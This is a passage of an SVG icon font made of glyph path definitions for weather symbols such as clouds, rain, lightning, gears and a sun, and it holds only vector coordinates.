	c-34.672,0-65.261,16.079-85.804,40.834C 126.821,80.812, 112.984,76, 98,76c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
	c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,246.916, 180.505,272, 224,272s 80.792-25.084, 99.348-61.323
	C 331.571,214.068, 340.558,216, 350,216c 38.665,0, 70-31.335, 70-70S 388.664,76, 350,76z"  />
<glyph unicode="&#xe280;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
	c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
	c 11.977,0, 23.698,2.188, 34.745,6.416c 18.848-16.425, 41.489-27.38, 65.716-31.956L 168,76l 28-28l-28-84l 84,84l-28,28l 9.625,28.874
	c 30.151,2.133, 58.734,13.6, 81.63,33.542C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z
	 M 350,160c-14.984,0-28.801,4.813-40.196,12.834c-16.571-19.979-39.867-33.797-66.391-38.591L 224,132
	c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
	c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
	C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z"  />
<glyph unicode="&#xe281;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416c 10.755-9.37, 22.969-16.588, 35.801-22.239l 21.802,21.765
			c-20.526,6.673-38.645,18.612-52.154,34.892C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
			C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70s-31.335-70-70-70c-14.984,0-28.801,4.813-40.196,12.834
			c-9.078-10.956-20.398-19.834-32.922-26.761L 265.125,110.781c 18.266,5.742, 35.438,14.821, 50.13,27.635
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 168,76l 28-28l-28-84l 84,84l-28,28l 28,84
			L 168,76z"  />
<glyph unicode="&#xe282;" d="M 350,300c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,334.635, 268.789,356, 224,356s-86.023-21.365-112.182-56.984C 107.242,299.672, 102.648,300, 98,300C 43.969,300,0,256.031,0,202
			c0-54.031, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,88.323, 190.313,76, 224,76
			c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301,106.187, 338.023,104, 350,104c 54.031,0, 98,43.969, 98,98
			C 448,256.031, 404.031,300, 350,300z M 350,132c-14.984,0-28.801,4.813-40.196,12.834C 289.261,120.078, 258.671,104, 224,104
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821,136.812, 112.984,132, 98,132c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,302.916, 180.505,328, 224,328s 80.792-25.084, 99.348-61.323
			C 331.571,270.068, 340.558,272, 350,272c 38.665,0, 70-31.335, 70-70S 388.664,132, 350,132z M 196-8c0-15.477, 12.523-28, 28-28
			s 28,12.523, 28,28s-28,56-28,56S 196,7.477, 196-8z"  />
<glyph unicode="&#xe283;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-14.984,0-28.801,4.813-40.196,12.834
			C 289.261,148.078, 258.671,132, 224,132c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70s 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z M 196.875-36
			c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 196.875-20.523, 196.875-36z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28
			s-28,56-28,56S 308,7.477, 308-8z M 84,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 84,63.477, 84,48z"  />
<glyph unicode="&#xe284;" d="M 364.912,238.677c-20.982,21.474-49.984,33.925-80.264,33.925
			c-30.242,0-59.227-12.45-80.207-33.925c-46.211-2.152-83.143-40.415-83.143-87.136c0-48.088, 39.12-87.208, 87.227-87.208
			c 5.105,0, 10.153,0.438, 15.112,1.312c 18.138-11.848, 39.302-18.247, 61.013-18.247c 21.747,0, 42.93,6.399, 61.051,18.247
			c 4.994-0.874, 10.026-1.312, 15.13-1.312c 48.070,0, 87.172,39.12, 87.172,87.208C 448,198.263, 411.086,236.526, 364.912,238.677z
			 M 360.828,92.334c-7.273,0-14.328,1.312-21,3.865c-15.313-13.344-34.781-20.8-55.18-20.8c-20.343,0-39.812,7.457-55.124,20.8
			c-6.672-2.553-13.781-3.865-21-3.865c-32.648,0-59.227,26.578-59.227,59.208c0,32.649, 26.578,59.227, 59.227,59.227
			c 2.79,0, 5.578-0.2, 8.331-0.602c 15.841,21.51, 40.723,34.435, 67.793,34.435c 27.071,0, 52.008-12.925, 67.813-34.435
			c 2.734,0.401, 5.523,0.602, 8.367,0.602c 32.648,0, 59.172-26.578, 59.172-59.227C 420,118.912, 393.477,92.334, 360.828,92.334z
			 M 126,76L 14,76 c-7.729,0-14-6.271-14-14s 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.271, 14,14S 133.729,76, 126,76z M 14,104l 56,0 
			c 7.729,0, 14,6.271, 14,14s-6.271,14-14,14L 14,132 c-7.729,0-14-6.271-14-14S 6.271,104, 14,104z M 42,160l 56,0 c 7.729,0, 14,6.271, 14,14
			s-6.271,14-14,14L 42,188 c-7.729,0-14-6.271-14-14S 34.271,160, 42,160z"  />
<glyph unicode="&#xe285;" d="M 364.912,322.057C 343.929,343.55, 314.927,356, 284.648,356
			c-30.242,0-59.227-12.45-80.207-33.943c-46.211-2.133-83.143-40.396-83.143-87.099c0-48.106, 39.12-87.245, 87.227-87.245
			c 5.105,0, 10.153,0.438, 15.112,1.313c 18.138-11.831, 39.302-18.229, 61.013-18.229c 21.747,0, 42.93,6.398, 61.051,18.229
			c 4.994-0.874, 10.026-1.313, 15.13-1.313c 48.071,0, 87.172,39.139, 87.172,87.245C 448,281.662, 411.086,319.943, 364.912,322.057z
			 M 360.828,175.713c-7.273,0-14.328,1.313-21,3.901c-15.313-13.344-34.781-20.818-55.18-20.818c-20.343,0-39.812,7.474-55.124,20.818
			c-6.672-2.589-13.781-3.901-21-3.901c-32.648,0-59.227,26.578-59.227,59.245c0,32.63, 26.578,59.209, 59.227,59.209
			c 2.79,0, 5.578-0.219, 8.331-0.602C 232.696,315.075, 257.578,328, 284.648,328c 27.071,0, 52.008-12.925, 67.813-34.435
			c 2.734,0.383, 5.523,0.602, 8.367,0.602c 32.648,0, 59.172-26.578, 59.172-59.209C 420,202.291, 393.477,175.713, 360.828,175.713z
			 M 126,159.398L 14,159.398 c-7.729,0-14-6.253-14-14c0-7.746, 6.271-14, 14-14l 112,0 c 7.729,0, 14,6.254, 14,14
			C 140,153.145, 133.729,159.398, 126,159.398z M 14,187.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 14,215.398 
			c-7.729,0-14-6.253-14-14C0,193.651, 6.271,187.398, 14,187.398z M 42,243.398l 56,0 c 7.729,0, 14,6.253, 14,14c0,7.747-6.271,14-14,14L 42,271.398 
			c-7.729,0-14-6.253-14-14C 28,249.651, 34.271,243.398, 42,243.398z M 196,48c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56
			S 196,63.477, 196,48z M 308-8c0-15.477, 12.523-28, 28-28s 28,12.523, 28,28s-28,56-28,56S 308,7.477, 308-8z"  />
<glyph unicode="&#xe286;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-14.984,0-28.801,4.813-40.196,12.834
			C 289.261,148.078, 258.671,132, 224,132c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70s 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70S 388.664,160, 350,160z"  />
<glyph unicode="&#xe287;" d="M 285.287,79.773l-15.75,9.078c 0.474,2.734, 0.838,5.523, 0.838,8.422c0,2.898-0.364,5.688-0.875,8.422
			l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188
			c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 
			c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11
			l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44s 0.328-5.688, 0.839-8.42L 162.75,79.773c-7.402-4.266-9.953-13.781-5.688-21.165
			s 13.727-9.898, 21.109-5.633l 15.896,9.133c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421
			s 15.477,6.891, 15.477,15.421l0,18.321 c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203,65.992, 292.688,75.453, 285.287,79.773z M 224,81.797c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531,81.797, 224,81.797z M 350,328c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384c-44.79,0-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328
			C 43.969,328,0,284.031,0,230s 43.969-98, 98-98c 10.335,0, 20.417,1.932, 30.133,5.105c 0.929,4.447, 2.388,8.786, 4.703,12.814
			c 3.446,5.997, 8.367,10.773, 14,14.439c-2.898,2.825-6.071,5.341-8.641,8.477C 126.821,164.812, 112.984,160, 98,160
			c-38.665,0-70,31.335-70,70c0,38.665, 31.335,70, 70,70c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356
			s 80.792-25.084, 99.348-61.323C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70c0-38.665-31.335-70-70-70
			c-14.984,0-28.801,4.813-40.196,12.834c-2.571-3.135-5.779-5.652-8.659-8.477c 5.652-3.681, 10.609-8.477, 14.037-14.492
			c 2.37-4.065, 3.81-8.386, 4.739-12.76C 329.602,133.932, 339.664,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z"  />
<glyph unicode="&#xe288;" d="M 285.287-4.227l-15.75,9.079
			c 0.474,2.734, 0.838,5.522, 0.838,8.421c0,2.898-0.364,5.688-0.875,8.422l 15.787,9.097c 7.365,4.302, 9.88,13.763, 5.651,21.091
			c-4.267,7.419-13.709,9.953-21.109,5.688l-15.914-9.188c-4.267,3.628-9.078,6.471-14.438,8.403l0,18.284 
			c0,8.55-6.946,15.477-15.477,15.477s-15.458-6.927-15.458-15.477l0-18.266 c-5.36-1.915-10.19-4.794-14.456-8.422l-15.878,9.188
			c-7.419,4.266-16.881,1.75-21.146-5.669c-4.266-7.365-1.696-16.844, 5.688-21.11l 15.714-9.078c-0.511-2.753-0.839-5.542-0.839-8.44
			c0-2.899, 0.328-5.688, 0.839-8.421L 162.75-4.227c-7.402-4.266-9.953-13.781-5.688-21.165s 13.727-9.898, 21.109-5.633l 15.896,9.133
			c 4.265-3.609, 9.097-6.453, 14.474-8.367l0-18.321 c0-8.53, 6.927-15.421, 15.458-15.421s 15.477,6.891, 15.477,15.421l0,18.321 
			c 5.359,1.915, 10.227,4.758, 14.456,8.422l 15.896-9.188c 7.401-4.266, 16.843-1.75, 21.109,5.633
			C 295.203-18.008, 292.688-8.547, 285.287-4.227z M 224-2.203c-8.531,0-15.477,6.946-15.477,15.477s 6.946,15.44, 15.477,15.44
			s 15.459-6.909, 15.459-15.44S 232.531-2.203, 224-2.203z M 414.895,37.281l-10.573,2.807c-0.255,3.354-1.057,6.544-2.534,9.607
			l 7.675,7.675c 3.609,3.609, 3.591,9.443,0,12.997c-3.573,3.591-9.37,3.609-12.979,0l-7.692-7.656
			c-3.027,1.422-6.253,2.242-9.589,2.516l-2.808,10.554c-1.312,4.885-6.344,7.821-11.265,6.508
			c-4.904-1.331-7.766-6.362-6.49-11.266l 2.808-10.409c-1.386-0.949-2.699-2.005-3.938-3.209c-1.203-1.24-2.224-2.551-3.173-3.902
			l-10.409,2.808c-4.904,1.312-9.972-1.641-11.284-6.508c-1.312-4.922, 1.641-9.935, 6.49-11.266l 10.5-2.825
			c 0.292-3.3, 1.131-6.526, 2.607-9.589l-7.71-7.71c-3.573-3.591-3.554-9.388, 0.037-12.96
			c 3.573-3.573, 9.37-3.609, 12.943-0.037l 7.728,7.729c 3.027-1.494, 6.272-2.333, 9.626-2.587l 2.77-10.518
			c 1.349-4.904, 6.344-7.821, 11.266-6.508c 4.885,1.313, 7.837,6.343, 6.526,11.302l-2.808,10.409c 1.313,0.929, 2.662,1.969, 3.902,3.172
			c 1.203,1.221, 2.224,2.571, 3.171,3.919l 10.427-2.808c 4.904-1.313, 9.953,1.622, 11.247,6.49
			C 422.679,30.902, 419.781,35.932, 414.895,37.281z M 383.523,31.429c-3.609-3.609-9.425-3.591-13.016,0
			c-3.554,3.554-3.591,9.388,0,12.997c 3.591,3.573, 9.425,3.573, 13.016,0C 387.078,40.836, 387.078,34.984, 383.523,31.429z
			 M 104.071,84.312l-10.391-2.79c-0.966,1.313-1.969,2.643-3.19,3.883c-1.239,1.203-2.551,2.242-3.919,3.172l 2.79,10.446
			c 1.313,4.904-1.605,9.953-6.453,11.247c-4.922,1.313-9.953-1.605-11.266-6.49l-2.844-10.554c-3.335-0.273-6.526-1.094-9.571-2.534
			l-7.71,7.675c-3.609,3.609-9.406,3.591-12.98,0c-3.591-3.591-3.591-9.406,0-12.997l 7.675-7.675
			c-1.44-3.063-2.279-6.289-2.534-9.607l-10.537-2.807c-4.922-1.349-7.839-6.344-6.526-11.266c 1.331-4.885, 6.362-7.766, 11.284-6.49
			l 10.391,2.826c 0.929-1.404, 1.969-2.717, 3.227-3.938c 1.203-1.203, 2.516-2.279, 3.883-3.172l-2.79-10.409
			c-1.313-4.922, 1.605-9.99, 6.489-11.302c 4.923-1.313, 9.917,1.604, 11.23,6.508l 2.844,10.5c 3.335,0.273, 6.563,1.112, 9.625,2.571l 7.692-7.693
			c 3.573-3.608, 9.37-3.536, 12.98,0.037c 3.554,3.554, 3.609,9.37,0,12.96l-7.71,7.71c 1.477,3.027, 2.352,6.289, 2.571,9.626
			l 10.554,2.79c 4.867,1.331, 7.784,6.344, 6.471,11.266C 114.042,82.671, 109.011,85.588, 104.071,84.312z M 77.492,59.412
			c-3.591-3.591-9.406-3.591-13.016,0c-3.554,3.573-3.554,9.425,0,12.979c 3.609,3.573, 9.425,3.573, 13.016,0
			S 81.047,62.984, 77.492,59.412z M 448,230c0,54.031-43.969,98-98,98c-4.648,0-9.242-0.328-13.818-0.984
			C 310.042,362.635, 268.789,384, 224,384s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230
			s 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132C 404.031,132, 448,175.969, 448,230z M 309.804,172.834C 289.261,148.078, 258.671,132, 224,132
			c-34.672,0-65.261,16.078-85.804,40.834C 126.821,164.812, 112.984,160, 98,160c-38.665,0-70,31.335-70,70s 31.335,70, 70,70
			c 9.46,0, 18.429-1.932, 26.633-5.323C 143.209,330.916, 180.505,356, 224,356s 80.792-25.084, 99.348-61.323
			C 331.571,298.068, 340.558,300, 350,300c 38.665,0, 70-31.335, 70-70s-31.335-70-70-70C 335.016,160, 321.199,164.812, 309.804,172.834z"  />
<glyph unicode="&#xe289;" d="M 350,328c-4.648,0-9.242-0.328-13.818-0.984C 310.042,362.635, 268.789,384, 224,384
			s-86.023-21.365-112.182-56.984C 107.242,327.672, 102.648,328, 98,328C 43.969,328,0,284.031,0,230s 43.969-98, 98-98
			c 11.977,0, 23.698,2.188, 34.745,6.416C 158.083,116.323, 190.313,104, 224,104c 33.724,0, 65.916,12.323, 91.255,34.416
			C 326.301,134.187, 338.023,132, 350,132c 54.031,0, 98,43.969, 98,98S 404.031,328, 350,328z M 350,160c-8.495,0-16.808,1.531-24.719,4.557
			l-15.75,6.052l-12.688-11.084C 276.5,141.771, 250.633,132, 224,132s-52.5,9.771-72.844,27.526l-12.688,11.084l-15.75-6.052
			c-7.875-3.026-16.223-4.557-24.719-4.557c-38.609,0-70,31.409-70,70s 31.391,70, 70,70c 3.318,0, 6.563-0.237, 9.844-0.693l 16.588-2.406
			l 9.935,13.526C 155.641,339.393, 188.308,356, 224,356c 35.71,0, 68.359-16.588, 89.615-45.555l 9.953-13.544l 16.624,2.406
			C 343.438,299.763, 346.682,300, 350,300c 38.609,0, 70-31.409, 70-70S 388.609,160, 350,160z M 84,104c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 99.477,104, 84,104z M 224,76c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28
			S 239.477,76, 224,76z M 364,104c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 379.477,104, 364,104z M 308-8
			c-15.477,0-28-12.523-28-28s 12.523-28, 28-28s 28,12.523, 28,28S 323.477-8, 308-8z M 140-8c-15.477,0-28-12.523-28-28
			s 12.523-28, 28-28s 28,12.523, 28,28S 155.477-8, 140-8z"  />
<glyph unicode="&#xe28a;" d="M 448,173.999c0,43.021-35,78.003-78.021,78.003c-2.096,0-4.175-0.091-6.253-0.255
	c-20.234,25.247-50.732,40.231-83.727,40.231c-32.977,0-63.492-14.983-83.727-40.232c-2.078,0.165-4.175,0.255-6.289,0.255
	C 147,252.002, 112,217.020, 112,173.999c0-4.503, 0.602-8.841, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984C 43.969,159.999,0,116.031,0,62c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.188, 34.745,6.416
	C 158.083-51.677, 190.313-64, 224-64c 33.724,0, 65.916,12.323, 91.255,34.416C 326.301-33.813, 338.023-36, 350-36
	c 54.031,0, 98,43.968, 98,98c0,22.477-7.912,42.948-20.708,59.499C 440.051,135.408, 448,153.728, 448,173.999z M 350-8
	c-14.984,0-28.801,4.812-40.196,12.833C 289.26-19.922, 258.671-36, 224-36c-34.672,0-65.261,16.078-85.804,40.833
	C 126.821-3.188, 112.985-8, 98-8c-38.665,0-70,31.335-70,70s 31.335,69.999, 70,69.999c 9.46,0, 18.429-1.915, 26.633-5.304
	c 0.492,0.929, 1.094,1.75, 1.586,2.643c 4.922,8.987, 10.992,17.227, 18.083,24.537C 164.5,174.802, 192.573,188, 224,188
	c 43.495,0, 80.792-25.083, 99.348-61.304c 4.94,2.023, 10.209,3.336, 15.641,4.211L 350,132c 10.792,0, 20.891-2.662, 30.023-7
	c 9.898-4.739, 18.393-11.702, 25.065-20.29c 9.188-11.831, 14.912-26.56, 14.912-42.71C 420,23.336, 388.664-8, 350-8z
	 M 407.367,141.078c-16.169,11.776-35.875,18.921-57.367,18.921c-4.648,0-9.242-0.328-13.818-0.984
	c-26.14,35.62-67.393,56.984-112.182,56.984c-29.859,0-58.023-9.662-81.321-26.542c 6.544,19.997, 25.138,34.544, 47.304,34.544
	c 6.781,0, 13.179-1.367, 19.031-3.79c 13.29,25.867, 39.922,43.768, 70.984,43.768s 57.713-17.9, 70.948-43.768
	c 5.888,2.424, 12.323,3.79, 19.030,3.79c 27.636,0, 50.021-22.385, 50.021-50.003C 420,161.33, 415.133,149.901, 407.367,141.078z"  />
<glyph unicode="&#xe28b;" d="M 448,266.021c0,43.003-35,77.983-78.021,77.983c-2.096,0-4.175-0.073-6.253-0.236
	C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232c-2.078,0.164-4.175,0.236-6.289,0.236
	C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162c-0.474-0.619-1.039-1.185-1.494-1.823
	c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416
	c 16.060-14, 35.091-23.571, 55.306-29.057L 168,20l 28-28l-28-56l 84,56l-28,28l 4.211,8.385c 32.156,0.984, 62.781,12.888, 87.044,34.052
	c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98c0,22.458-7.912,42.948-20.708,59.5
	C 440.051,227.412, 448,245.732, 448,266.021z M 350,84.021c-14.984,0-28.801,4.813-40.196,12.815c-16.625-20.034-40.031-33.888-66.7-38.609
	l-20.8-2.023C 188.344,56.75, 158.375,72.5, 138.196,96.836c-11.375-8.003-25.21-12.815-40.196-12.815c-38.665,0-70,31.317-70,70
	c0,38.646, 31.335,70, 70,70c 9.46,0, 18.429-1.933, 26.633-5.323c 0.492,0.948, 1.094,1.75, 1.586,2.662
	c 4.922,8.987, 10.992,17.209, 18.083,24.537c 20.198,20.909, 48.271,34.125, 79.698,34.125c 43.495,0, 80.792-25.084, 99.348-61.323
	c 4.94,2.041, 10.209,3.354, 15.641,4.229l 11.011,1.094c 10.792,0, 20.891-2.662, 30.023-7c 9.898-4.74, 18.393-11.703, 25.065-20.307
	c 9.188-11.831, 14.912-26.542, 14.912-42.693C 420,115.338, 388.664,84.021, 350,84.021z M 407.367,233.099
	c-16.169,11.758-35.875,18.922-57.367,18.922c-4.648,0-9.242-0.328-13.818-0.984C 310.042,286.638, 268.789,308.021, 224,308.021
	c-29.859,0-58.023-9.679-81.321-26.56c 6.544,19.996, 25.138,34.543, 47.304,34.543c 6.781,0, 13.179-1.367, 19.031-3.791
	C 222.304,338.099, 248.938,356, 280,356s 57.713-17.901, 70.948-43.787c 5.888,2.425, 12.323,3.791, 19.030,3.791
	c 27.636,0, 50.021-22.385, 50.021-49.983C 420,253.334, 415.133,241.904, 407.367,233.099z"  />
<glyph unicode="&#xe28c;" d="M 168,48l 28-28l-28-84l 84,84l-28,28l 28,56L 168,48z M 448,266.021c0,43.003-35,77.983-78.021,77.983
			c-2.096,0-4.175-0.073-6.253-0.236C 343.492,368.997, 312.995,384, 280,384c-32.977,0-63.492-15.003-83.727-40.232
			c-2.078,0.164-4.175,0.236-6.289,0.236C 147,344.005, 112,309.023, 112,266.021c0-4.503, 0.602-8.859, 1.313-13.162
			c-0.474-0.619-1.039-1.185-1.494-1.823c-4.575,0.656-9.169,0.984-13.818,0.984c-54.031,0-98-43.969-98-98
			c0-54.032, 43.969-98, 98-98c 11.977,0, 23.698,2.187, 34.745,6.416c 0.966-0.839, 2.114-1.422, 3.098-2.242l 24.773,16.516
			c-8.258,5.852-15.969,12.359-22.422,20.125c-11.375-8.003-25.21-12.815-40.196-12.815c-38.665,0-70,31.317-70,70c0,38.646, 31.335,70, 70,70
			c 9.46,0, 18.429-1.933, 26.633-5.323c 0.492,0.948, 1.094,1.75, 1.586,2.662c 4.922,8.987, 10.992,17.209, 18.083,24.537
			c 20.198,20.909, 48.271,34.125, 79.698,34.125c 43.495,0, 80.792-25.084, 99.348-61.323c 4.94,2.041, 10.209,3.354, 15.641,4.229l 11.011,1.094
			c 10.792,0, 20.891-2.662, 30.023-7c 9.898-4.74, 18.393-11.703, 25.065-20.307c 9.188-11.831, 14.912-26.542, 14.912-42.693
			c0-38.683-31.335-70-70-70c-14.984,0-28.801,4.813-40.196,12.815c-12.25-14.766-28.383-25.867-46.503-32.867l-5.232-10.446l 15.969-15.969
			c 14.929,5.815, 28.893,14.164, 41.216,24.883c 11.047-4.23, 22.768-6.416, 34.745-6.416c 54.031,0, 98,43.968, 98,98
			c0,22.458-7.912,42.948-20.708,59.5C 440.051,227.412, 448,245.732, 448,266.021z M 407.367,233.099
			c-16.169,11.758-35.875,18.922-57.367,18.922c-4.648,0-9.242-0.328-13.818-0.984C 310.042,286.638, 268.789,308.021, 224,308.021
			c-29.859,0-58.023-9.679-81.321-26.56c 6.544,19.996, 25.138,34.543, 47.304,34.543c 6.781,0, 13.179-1.367, 19.031-3.791
			C 222.304,338.099, 248.938,356, 280,356s 57.713-17.901, 70.948-43.787c 5.888,2.425, 12.323,3.791, 19.030,3.791
			c 27.636,0, 50.021-22.385, 50.021-49.983C 420,253.334, 415.133,241.904, 407.367,233.099z"  />
<glyph unicode="&#xe28d;" d="M 224,258c-54.031,0-98-43.969-98-98c0-54.030, 43.969-98, 98-98
			s 98,43.97, 98,98C 322,214.031, 278.031,258, 224,258z M 224,286c 7.729,0, 14,6.253, 14,14L 238,328 c0,7.729-6.271,14-14,14
			c-7.747,0-14-6.271-14-14l0-28 C 210,292.253, 216.253,286, 224,286z M 224,34c-7.747,0-14-6.271-14-14l0-28 c0-7.747, 6.253-14, 14-14
			c 7.729,0, 14,6.253, 14,14l0,28 C 238,27.729, 231.729,34, 224,34z M 332.865,249.104l 19.797,19.797c 5.469,5.469, 5.469,14.328,0,19.797
			c-5.47,5.469-14.328,5.469-19.797,0l-19.797-19.797c-5.47-5.469-5.47-14.328,0-19.797
			C 318.537,243.636, 327.395,243.636, 332.865,249.104z M 115.098,70.878l-19.795-19.797c-5.47-5.469-5.47-14.329,0-19.797
			c 5.468-5.469, 14.326-5.469, 19.795,0l 19.797,19.797c 5.47,5.505, 5.47,14.328,0,19.797
			C 129.427,76.346, 120.568,76.383, 115.098,70.878z M 98,160c0,7.729-6.271,14-14,14L 56,174 c-7.747,0-14-6.271-14-14
			c0-7.747, 6.253-14, 14-14l 28,0 C 91.729,146, 98,152.253, 98,160z M 392,174l-28,0 c-7.747,0-14-6.271-14-14c0-7.747, 6.253-14, 14-14l 28,0 
			c 7.729,0, 14,6.253, 14,14C 406,167.729, 399.729,174, 392,174z M 115.081,249.104c 5.468-5.469, 14.328-5.469, 19.797,0
			c 5.468,5.469, 5.468,14.328,0,19.797l-19.797,19.797c-5.469,5.469-14.329,5.469-19.797,0c-5.469-5.469-5.469-14.328,0-19.797
